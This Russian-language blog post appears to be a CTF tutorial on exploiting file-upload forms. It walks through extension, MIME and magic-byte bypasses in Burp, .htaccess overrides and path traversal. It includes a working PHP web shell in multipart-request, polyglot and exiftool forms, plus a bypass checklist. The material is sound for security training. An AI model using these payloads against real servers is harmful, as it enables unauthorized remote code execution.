Главная / Блог / File upload уязвимость CTF: от обхода фильтров расширений и MIME до загрузки веб-шелла

13 мин.00

File upload уязвимость CTF: от обхода фильтров расширений и MIME до загрузки веб-шелла

File upload уязвимость CTF: от обхода фильтров расширений и MIME до загрузки веб-шелла

File upload уязвимость CTF: от обхода фильтров расширений и MIME до загрузки веб-шелла

За последний год на PortSwigger Academy, HackTheBox и TryHackMe я прошёл больше 30 тасков категории web, связанных с unrestricted file upload. Примерно 8 из 10 сводятся к трём базовым техникам обхода: подмена расширения, манипуляция Content-Type и модификация magic bytes. Каждая техника — отдельный слой валидации, который разработчик мог прикрутить. Задача CTF-игрока — определить, какие слои стоят, и сломать именно их. Здесь — пошаговая методология с Burp Suite, которая работает от простых тасков до skill assessment на HTB.

Место file upload в цепочке атаки

Загрузка веб-шелла — не самоцель, а звено в цепочке от initial access до выполнения команд на сервере. По классификации MITRE ATT&CK, атака через file upload проходит через несколько тактик: Подробнее — в нашем статье о пентест веб-приложений.

  1. Initial Access — эксплуатация формы загрузки файлов (Exploit Public-Facing Application, T1190). Атакующий находит endpoint, принимающий файлы: аватарки, документы, вложения в тикеты.
  2. Defense Evasion — маскировка вредоносного файла. Двойные расширения (Double File Extension, T1036.007), подмена типа файла (Masquerade File Type, T1036.008), обфускация содержимого (Obfuscated Files or Information, T1027).
  3. Persistence — размещение веб-шелла на сервере (Web Shell, T1505.003). Файл сохранён в доступной директории, готов к вызову.
  4. Execution — вызов шелла через HTTP-запрос, выполнение системных команд (Unix Shell, T1059.004).
  5. Post-exploitation — обнаружение файлов и директорий (File and Directory Discovery, T1083), загрузка дополнительных инструментов (Ingress Tool Transfer, T1105).

В CTF обычно достаточно дойти до шага 4 и выполнить cat /flag.txt или whoami. В реальном пентесте после получения шелла начинается lateral movement. Но логика обхода фильтров — одна и та же.

По классификации OWASP, file upload напрямую связан с A05:2021 — Security Misconfiguration: выполнение файлов в директории загрузки, отсутствие серверной валидации содержимого, доверие клиентским заголовкам.

Требования к окружению

Прежде чем открывать Burp, убедитесь что стенд готов.

  • ОС: Kali Linux 2024.x+ или Parrot OS. Подойдёт любой дистрибутив с предустановленным Burp Suite
  • Burp Suite: Community Edition хватит для ручного тестирования через Repeater. Pro нужен для Intruder-автоматизации (фаззинг расширений)
  • RAM: минимум 4 ГБ (Burp на Java съедает 1-2 ГБ). Рекомендую 8 ГБ при параллельной работе с браузером
  • Утилиты: exiftool (предустановлен в Kali), xxd или hexedit для работы с magic bytes, Python 3 для генерации полиглот-файлов
  • Браузер: Firefox с настроенным прокси на 127.0.0.1:8080 (стандартная связка с Burp)
  • Сеть: VPN-подключение к лабораторной среде (HTB, THM) или локальный Docker-контейнер с уязвимым приложением

Разведка перед загрузкой: определяем тип валидации

Первый шаг при встрече с формой загрузки — разведка. Нужно понять, какие слои защиты стоят на сервере, прежде чем подбирать конкретную технику обхода.

Шаг 1: определить blacklist или whitelist. Загрузите файл с произвольным несуществующим расширением, например test.codeby. Файл загрузился — сервер использует чёрный список (блокирует конкретные расширения, остальное пропускает). Отклонил — скорее всего, белый список (разрешает только определённые расширения). Эту технику описывает Intigriti в своём гайде по file upload: загрузка файла с рандомным расширением мгновенно показывает тип фильтрации.

Шаг 2: проверить, где хранится файл. После успешной загрузки легитимного изображения найдите его URL. Типичные директории: /uploads/, /media/, /files/, /static/. Если URL содержит оригинальное имя файла — путь к эксплуатации короче. Если имя заменено на хеш или UUID — перезапись .htaccess и path traversal становятся сложнее.

Шаг 3: проверить исполнение. Загрузите легитимный .txt файл с содержимым test и обратитесь к нему по URL. Сервер отдаёт содержимое как текст? Отлично — файлы из директории загрузки доступны напрямую.

Таблица выбора техники обхода

Ситуация Первая техника Запасная техника Инструмент
Чёрный список расширений, case-sensitive фильтр Вариация регистра: .pHp, .PhP Альтернативные расширения: .phtml, .phar Burp Repeater
Чёрный список, нестрогий парсинг Двойное расширение: shell.php.jpg Null byte (legacy): shell.php%00.jpg Burp Repeater / Intruder
Белый список расширений, проверка Content-Type Подмена MIME: Content-Type: image/jpeg Полиглот-файл с magic bytes Burp Repeater
Белый список, проверка magic bytes Magic bytes + PHP код Внедрение кода в метаданные через exiftool exiftool + Burp
Все слои одновременно Комбинация: magic bytes + whitelist extension + MIME Перезапись конфигурации .htaccess (если доступно) exiftool + Burp Repeater
Файл загружается, но не исполняется Проверить конфигурацию сервера, path traversal ../ Загрузка .htaccess с AddType application/x-httpd-php .jpg Burp Repeater

Обход фильтра расширений: PHP webshell upload

Фильтрация по расширению — первый и самый распространённый барьер в CTF. Сервер смотрит на имя файла и решает, пропускать или нет. Здесь важно понимать разницу между подходами.

Техники против чёрного списка

Чёрный список блокирует известные опасные расширения: .php, .jsp, .asp. Но PHP-интерпретатор обрабатывает не только .php.

Альтернативные расширения. Apache с mod_php может исполнять файлы с расширениями .php3, .php4, .php5, .phtml, .phar, .pht — зависит от конфигурации. Если чёрный список содержит только .php, загрузка shell.phtml даст RCE. Для фаззинга в Burp Intruder берём wordlist из этих расширений и смотрим на разницу в ответах сервера (размер или код ответа).

Вариация регистра. Если фильтр проверяет расширение без приведения к нижнему регистру, файл shell.pHp или shell.PHP пройдёт проверку. На Linux-системах файловая система чувствительна к регистру, но Apache передаёт файл PHP-обработчику по конфигурации AddHandler, которая может быть case-insensitive.

Двойные расширения. Файл shell.php.jpg — классика CTF. Логика зависит от того, как сервер определяет расширение. Некоторые парсеры берут последнее расширение (.jpg — проходит фильтр), а Apache с mod_mime может обработать файл по первому распознаваемому расширению (.php — исполняется). Это техника Double File Extension (T1036.007, Defense Evasion) по классификации MITRE ATT&CK.

Добавление точки или пробела. Имена файлов shell.php. или shell.php%20 на некоторых файловых системах теряют завершающий символ после сохранения, превращаясь в shell.php. Фильтр видит расширение .php. и пропускает, а файловая система сохраняет как .php.

Null byte injection. На старых системах (PHP < 5.3.4) нулевой байт %00 обрезает строку. Файл shell.php%00.jpg фильтром воспринимается как .jpg, но сохраняется как shell.php. Техника древняя, но в CTF встречается на задачах с пометкой «legacy».

Техники против белого списка

Белый список строже: сервер разрешает только .jpg, .png, .gif. Прямая подмена расширения здесь не прокатит.

Двойное расширение в обратную сторону. Файл shell.jpg.php может пройти фильтр, который проверяет наличие .jpg в имени файла (а не позицию расширения). Зависит от реализации: слабое регулярное выражение вроде /\.jpg/ пропустит такое имя.

Загрузка .htaccess. Если сервер — Apache, а белый список не блокирует служебные файлы, можно загрузить .htaccess с директивой AddType application/x-httpd-php .jpg. После этого любой .jpg файл в директории загрузки будет интерпретироваться как PHP. Затем загружаем shell.jpg с PHP-кодом внутри. Эту технику подробно разбирает PortSwigger в лабораторной работе «Web shell upload via extension blacklist bypass».

Работает если: сервер — Apache с включённой поддержкой .htaccess (AllowOverride All), директория загрузки не имеет собственного <Directory> с ограничениями.

Не работает если: сервер — Nginx (не поддерживает .htaccess), или AllowOverride None в конфигурации Apache.

Обход MIME-типа и Content-Type через Burp Suite

Когда расширение прошло, следующий барьер — проверка заголовка Content-Type в multipart-запросе. Сервер читает MIME-тип, указанный клиентом, и сравнивает с разрешёнными значениями (image/jpeg, image/png, image/gif).

Вся штука в том, что Content-Type — клиентский заголовок. Браузер ставит его автоматически на основе расширения файла, но атакующий контролирует каждый байт запроса через Burp.

Пошаговый разбор в Burp Repeater

  1. Включите перехват в Burp Proxy, загрузите легитимное изображение через форму. Burp перехватит POST-запрос с multipart/form-data.

  2. Отправьте запрос в Repeater (Ctrl+R). Обратите внимание на структуру: внутри boundary каждая часть имеет свой Content-Disposition и Content-Type.

  3. Меняем три элемента: имя файла на shell.php, содержимое тела на PHP-код, но Content-Type оставляем image/jpeg:

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
  1. Отправляем запрос. Если сервер проверяет только Content-Type и не анализирует содержимое — файл загрузится.

  2. Обращаемся к загруженному файлу: http://target/uploads/shell.php?cmd=id. Если в ответе видите вывод команды id — RCE получен.

Почему это работает: сервер доверяет клиентскому заголовку Content-Type и не проверяет фактическое содержимое файла. Техника Masquerade File Type (T1036.008) — файл маскируется под изображение на уровне метаданных, оставаясь исполняемым кодом.

Фаззинг MIME-типов через Burp Intruder

Если первая попытка не прошла, стоит определить, какие именно MIME-типы принимает сервер. Отправляем запрос в Intruder, отмечаем значение Content-Type как payload position и загружаем список: image/jpeg, image/png, image/gif, application/octet-stream, text/plain. По разнице в размере ответа или HTTP-коде определяем принимаемые значения. В Community Edition скорость режется, но для 5-10 значений хватает.

Предусловия: техника работает только если сервер определяет тип файла по заголовку Content-Type, а не по содержимому (magic bytes) или расширению. Если при отправке shell.php с Content-Type: image/jpeg сервер отвечает ошибкой валидации — значит, проверяется расширение или содержимое, и одного MIME-обхода недостаточно.

Загрузка веб-шелла через magic bytes и полиглот-файлы

Продвинутые реализации проверяют первые байты файла — сигнатуру формата. JPEG начинается с FF D8 FF, PNG — с 89 50 4E 47 0D 0A 1A 0A, GIF — с 47 49 46 38 (или ASCII-строки GIF89a). Функция getimagesize() в PHP анализирует именно эти байты.

Обход: добавить magic bytes в начало файла перед PHP-кодом. Интерпретатор PHP проигнорирует бинарный мусор до тега <?php и выполнит код.

Самый простой вариант — GIF-сигнатура, потому что она текстовая:

GIF89a<?php system($_GET['cmd']); ?>

Сохраняем это в файл shell.php.gif (или shell.gif, если планируете комбинировать с .htaccess). При проверке getimagesize() сервер увидит GIF-заголовок. При вызове через PHP-обработчик — код выполнится.

Для JPEG magic bytes: echo -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.php. Файл начинается с валидной JPEG-сигнатуры.

Внедрение кода через exiftool

Ещё один подход — записать PHP-код в метаданные легитимного изображения:

exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg -o polyglot.php.jpg

На выходе — файл, который проходит проверку как валидный JPEG (структура сохранена, magic bytes на месте, getimagesize() возвращает размеры), но содержит PHP-код в поле Comment. Если сервер обрабатывает этот файл через PHP-интерпретатор, код из комментария выполнится.

Преимущества и ограничения техник обхода

Техника Преимущества Ограничения Когда использовать
Подмена Content-Type Тривиально, одна правка в Burp Не работает при проверке содержимого файла Content-Type — единственная серверная проверка
Альтернативные расширения Широкий выбор вариантов Зависит от конфигурации Apache/Nginx Чёрный список, Apache с mod_php
Двойное расширение Работает на многих конфигурациях Нестабильно: результат зависит от парсера Apache с mod_mime, слабый парсер расширений
GIF magic bytes Просто: одна текстовая строка перед кодом Строгая валидация (PIL, ImageMagick) отклонит getimagesize() без дополнительных проверок
exiftool injection Файл остаётся валидным изображением Не все серверы отдают файл через PHP-интерпретатор Комбинированная валидация: magic bytes + размеры
Перезапись .htaccess Полный контроль над исполнением в директории Только Apache с AllowOverride All Белый список без блокировки служебных файлов

Комбинированный обход: когда один слой — не финал

В реальных CTF-тасках среднего и высокого уровня валидация многоуровневая. Типичный сценарий с HackTheBox forum: игрок загружает файл с обходом Content-Type, видит «file uploaded successfully», но при обращении к файлу получает ошибку — белый список расширений блокирует исполнение.

Алгоритм комбинированного обхода:

  1. Определить все слои. Загрузите shell.php с Content-Type: image/jpeg — если ошибка «extension not allowed», активен фильтр расширений. Загрузите shell.jpg с PHP-кодом — если ошибка «invalid image», проверяются magic bytes.

  2. Собрать payload. Начните с magic bytes (GIF89a), добавьте PHP-код, установите расширение по белому списку (.gif), Content-Type — image/gif.

  3. Обеспечить исполнение. Если файл загружен как .gif, сервер не передаст его PHP-интерпретатору. Здесь нужен дополнительный вектор: загрузка .htaccess (если доступна), path traversal в имени файла (../shell.php), или эксплуатация серверной логики обработки.

  4. Проверить path traversal. В поле filename в Burp попробуйте значения ../shell.php, ..%2fshell.php, ....//shell.php. Если файл сохраняется на уровень выше директории загрузки — он может оказаться в месте, где PHP-исполнение не заблокировано.

Конкретный пример из обсуждения на HackTheBox forum: пользователи фиксировали, что комбинация Content-Type: image/gif + magic bytes GIF89a + расширение .phar.gif давала успешную загрузку, но для исполнения требовалось правильное позиционирование расширения — .gif в конце для обхода whitelist, .phar для запуска через PHP. Решение нашлось после анализа исходного кода серверной валидации (доступного через отдельную уязвимость LFI).

Ограничения техник: что не сработает в 2025

Ни одна техника обхода не универсальна. Вот конкретные сценарии, где описанные методы бесполезны:

Серверная пересборка изображения. Если сервер прогоняет загруженное изображение через ImageMagick convert или PHP GD (imagecreatefromjpeg() + imagejpeg()), весь внедрённый PHP-код удаляется. Файл пересоздаётся пиксель-за-пикселем, метаданные и комментарии не сохраняются. Встречается на зрелых платформах и в CTF-тасках уровня hard/insane.

Хранение вне web root. По рекомендациям OWASP (Security Misconfiguration, A05:2021), загруженные файлы хранятся в /var/uploads/, а отдаются через отдельный endpoint с принудительным Content-Type: application/octet-stream. Даже если файл содержит PHP-код, он никогда не попадает в PHP-обработчик.

CDN и облачное хранение. Файлы, загруженные в AWS S3 или Google Cloud Storage, не исполняются на стороне хранилища. S3 отдаёт файлы as-is, без интерпретации серверного кода. В CTF такие конфигурации встречаются в задачах на cloud misconfiguration, но не на classic file upload.

Nginx без PHP-FPM для директории загрузки. Nginx не имеет встроенного PHP-модуля и не поддерживает .htaccess. Если location /uploads/ не настроен на проксирование в PHP-FPM, никакой загруженный PHP-файл не выполнится — Nginx отдаст его как статический текст. Тут можно хоть десять шеллов залить — толку ноль.

Рандомизация имени файла. Если сервер сохраняет файл как a3f8c1d2.jpg (UUID/хеш вместо оригинального имени), расширение всегда фиксировано. Двойные расширения, case variation и path traversal в имени файла теряют смысл.

Строгая валидация PIL/Pillow. Python-библиотека Pillow при вызове Image.open() полностью парсит структуру изображения. Файл с GIF89a в начале и PHP-кодом после — не пройдёт, потому что Pillow попытается прочитать GIF-фреймы и упадёт с ошибкой. Против Pillow фокус с текстовой сигнатурой не работает.

Чеклист обхода валидации файлов для CTF

Этот чеклист — алгоритм при встрече с любым file upload таском. Распечатайте, повесьте рядом с монитором.

  1. Загрузить легитимное изображение, зафиксировать URL и директорию хранения
  2. Загрузить файл с рандомным расширением (.test123) — определить blacklist или whitelist
  3. Если blacklist — перебрать альтернативные PHP-расширения: .phtml, .phar, .php5, .pht, .phps
  4. Проверить case sensitivity: .pHp, .PhP, .PHP
  5. Попробовать двойные расширения: shell.php.jpg, shell.jpg.php, shell.php.test.jpg
  6. Перехватить запрос в Burp, подменить Content-Type на image/jpeg или image/gif
  7. Добавить magic bytes перед PHP-кодом: GIF89a для GIF, \xFF\xD8\xFF для JPEG
  8. Использовать exiftool для внедрения кода в метаданные легитимного изображения
  9. Проверить path traversal в filename: ../shell.php, ..%2fshell.php
  10. Попробовать загрузить .htaccess с AddType application/x-httpd-php .jpg (только Apache)
  11. Комбинировать: magic bytes + белый список расширений + правильный Content-Type
  12. Если файл загружен, но не исполняется — искать LFI для чтения серверного кода валидации

По моему опыту, шаги 2-6 закрывают большинство тасков уровня easy/medium. Шаги 7-11 — medium/hard. Шаг 12 — hard/insane, где file upload комбинируется с другими уязвимостями.


Файловая загрузка в CTF — та категория, где каждая следующая задача учит больше предыдущей. Но я заметил одну закономерность: большинство игроков застревают не на технике обхода, а на этапе разведки. Они сразу кидают shell.php и начинают перебирать расширения, вместо того чтобы потратить пять минут на анализ поведения сервера. Загрузил .test123 — получил ответ. Загрузил .jpg с мусором в теле — получил другой ответ. Два запроса — и уже понятно, какие слои валидации стоят. А дальше работа по таблице, не гадание.

Второй момент, который я вижу на форумах HTB снова и снова: люди не читают ответы сервера. Ошибка «only images allowed» — не то же самое, что «extension not allowed». Первая говорит о проверке содержимого или MIME, вторая — о фильтре расширений. Разные ошибки → разные техники обхода. Кажется очевидным, но половина тредов с просьбами о помощи начинается с «я попробовал всё, ничего не работает», а потом выясняется, что человек четыре часа фаззил расширения при проблеме на уровне magic bytes.

File upload — не rocket science. Это методичная работа: определи фильтры, подбери обход для каждого слоя, собери финальный payload. Кто это понял — решает такие таски за 15 минут. На WAPT эту цепочку разбирают в модулях по веб-эксплуатации с лабами на каждый тип фильтрации, и оттуда до OSCP-уровня остаётся меньше, чем кажется.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...